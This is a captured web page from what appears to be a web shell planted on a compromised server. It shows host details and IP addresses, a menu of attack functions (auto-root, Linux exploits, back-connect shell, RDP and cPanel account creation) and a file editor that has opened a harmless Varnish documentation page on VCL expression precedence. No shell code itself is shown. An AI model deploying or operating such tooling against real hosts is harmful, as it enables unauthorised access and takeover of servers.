Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
varnish-5.2.1 /
html /
phk /
[ HOME SHELL ]
Name
Size
Permission
Action
10goingon50.html
18.14
KB
-rw-r--r--
VSV00001.html
13.99
KB
-rw-r--r--
autocrap.html
8.21
KB
-rw-r--r--
backends.html
11.31
KB
-rw-r--r--
barriers.html
15.07
KB
-rw-r--r--
brinch-hansens-arrows.html
7.15
KB
-rw-r--r--
dough.html
17.47
KB
-rw-r--r--
farfaraway.html
9.54
KB
-rw-r--r--
firstdesign.html
68.29
KB
-rw-r--r--
gzip.html
13.73
KB
-rw-r--r--
http20.html
20.99
KB
-rw-r--r--
index.html
7.73
KB
-rw-r--r--
ipv6suckage.html
7.34
KB
-rw-r--r--
notes.html
16.4
KB
-rw-r--r--
persistent.html
8.71
KB
-rw-r--r--
platforms.html
9.68
KB
-rw-r--r--
somethinghappened.html
10.02
KB
-rw-r--r--
spdy.html
14.55
KB
-rw-r--r--
sphinx.html
8.22
KB
-rw-r--r--
ssl.html
8.91
KB
-rw-r--r--
ssl_again.html
12.14
KB
-rw-r--r--
thatslow.html
17.6
KB
-rw-r--r--
thetoolsweworkwith.html
16.65
KB
-rw-r--r--
thoughts.html
6.14
KB
-rw-r--r--
three-zero.html
7.45
KB
-rw-r--r--
trialerror.html
9.58
KB
-rw-r--r--
varnish_does_not_hash.html
12.02
KB
-rw-r--r--
vcl_expr.html
6.86
KB
-rw-r--r--
wanton_destruction.html
8.1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : vcl_expr.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>VCL Expressions — Varnish version 5.2.1 documentation</title> <link rel="stylesheet" href="../_static/classic.css" type="text/css" /> <link rel="stylesheet" href="../_static/pygments.css" type="text/css" /> <script type="text/javascript"> var DOCUMENTATION_OPTIONS = { URL_ROOT: '../', VERSION: '5.2.1', COLLAPSE_INDEX: false, FILE_SUFFIX: '.html', HAS_SOURCE: true }; </script> <script type="text/javascript" src="../_static/jquery.js"></script> <script type="text/javascript" src="../_static/underscore.js"></script> <script type="text/javascript" src="../_static/doctools.js"></script> <link rel="index" title="Index" href="../genindex.html" /> <link rel="search" title="Search" href="../search.html" /> <link rel="top" title="Varnish version 5.2.1 documentation" href="../index.html" /> <link rel="up" title="Poul-Hennings random outbursts" href="index.html" /> <link rel="next" title="IPv6 Suckage" href="ipv6suckage.html" /> <link rel="prev" title="How GZIP, and GZIP+ESI works in Varnish" href="gzip.html" /> </head> <body role="document"> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" accesskey="I">index</a></li> <li class="right" > <a href="ipv6suckage.html" title="IPv6 Suckage" accesskey="N">next</a> |</li> <li class="right" > <a href="gzip.html" title="How GZIP, and GZIP+ESI works in Varnish" accesskey="P">previous</a> |</li> <li class="nav-item nav-item-0"><a href="../index.html">Varnish version 5.2.1 documentation</a> »</li> <li class="nav-item nav-item-1"><a href="index.html" accesskey="U">Poul-Hennings random outbursts</a> »</li> </ul> </div> <div class="document"> <div class="documentwrapper"> <div class="bodywrapper"> <div class="body" role="main"> <div class="section" id="vcl-expressions"> <span id="phk-vcl-expr"></span><h1>VCL Expressions<a class="headerlink" href="#vcl-expressions" title="Permalink to this headline">ΒΆ</a></h1> <p>I have been working on VCL expressions recently, and we are approaching the home stretch now.</p> <p>The data types in VCL are "sort of weird" seen with normal programming language eyes, in that they are not "general purpose" types, but rather tailored types for the task at hand.</p> <p>For instance, we have both a TIME and a DURATION type, a quite unusual constellation for a programming language.</p> <p>But in HTTP context, it makes a lot of sense, you really have to keep track of what is a relative time (age) and what is absolute time (Expires).</p> <p>Obviously, you can add a TIME and DURATION, the result is a TIME.</p> <p>Equally obviously, you can not add TIME to TIME, but you can subtract TIME from TIME, resulting in a DURATION.</p> <p>VCL do also have "naked" numbers, like INT and REAL, but what you can do with them is very limited. For instance you can multiply a duration by a REAL, but you can not multiply a TIME by anything.</p> <p>Given that we have our own types, the next question is what precedence operators have.</p> <p>The C programming language is famous for having a couple of gottchas in its precedence rules and given our limited and narrow type repertoire, blindly importing a set of precedence rules may confuse a lot more than it may help.</p> <p>Here are the precedence rules I have settled on, from highest to lowest precedence:</p> <dl class="docutils"> <dt>Atomic</dt> <dd><p class="first">'true', 'false', constants</p> <p>function calls</p> <p>variables</p> <p class="last">'(' expression ')'</p> </dd> <dt>Multiply/Divide</dt> <dd><p class="first">INT * INT</p> <p>INT / INT</p> <p class="last">DURATION * REAL</p> </dd> <dt>Add/Subtract</dt> <dd><p class="first">STRING + STRING</p> <p>INT +/- INT</p> <p>TIME +/- DURATION</p> <p>TIME - TIME</p> <p class="last">DURATION +/- DURATION</p> </dd> <dt>Comparisons</dt> <dd><p class="first">'==', '!=', '<', '>', '~' and '!~'</p> <p class="last">string existence check (-> BOOL)</p> </dd> <dt>Boolean not</dt> <dd>'!'</dd> <dt>Boolean and</dt> <dd>'&&'</dd> <dt>Boolean or</dt> <dd>'||'</dd> </dl> <p>Input and feedback most welcome!</p> <p>Until next time,</p> <p>Poul-Henning, 2010-09-21</p> </div> </div> </div> </div> <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> <div class="sphinxsidebarwrapper"> <h4>Previous topic</h4> <p class="topless"><a href="gzip.html" title="previous chapter">How GZIP, and GZIP+ESI works in Varnish</a></p> <h4>Next topic</h4> <p class="topless"><a href="ipv6suckage.html" title="next chapter">IPv6 Suckage</a></p> <div role="note" aria-label="source link"> <h3>This Page</h3> <ul class="this-page-menu"> <li><a href="../_sources/phk/vcl_expr.txt" rel="nofollow">Show Source</a></li> </ul> </div> <div id="searchbox" style="display: none" role="search"> <h3>Quick search</h3> <form class="search" action="../search.html" method="get"> <div><input type="text" name="q" /></div> <div><input type="submit" value="Go" /></div> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> </div> <script type="text/javascript">$('#searchbox').show(0);</script> </div> </div> <div class="clearer"></div> </div> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" >index</a></li> <li class="right" > <a href="ipv6suckage.html" title="IPv6 Suckage" >next</a> |</li> <li class="right" > <a href="gzip.html" title="How GZIP, and GZIP+ESI works in Varnish" >previous</a> |</li> <li class="nav-item nav-item-0"><a href="../index.html">Varnish version 5.2.1 documentation</a> »</li> <li class="nav-item nav-item-1"><a href="index.html" >Poul-Hennings random outbursts</a> »</li> </ul> </div> <div class="footer" role="contentinfo"> © Copyright 2010-2014, Varnish Software AS. Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.4.9. </div> </body> </html>
Close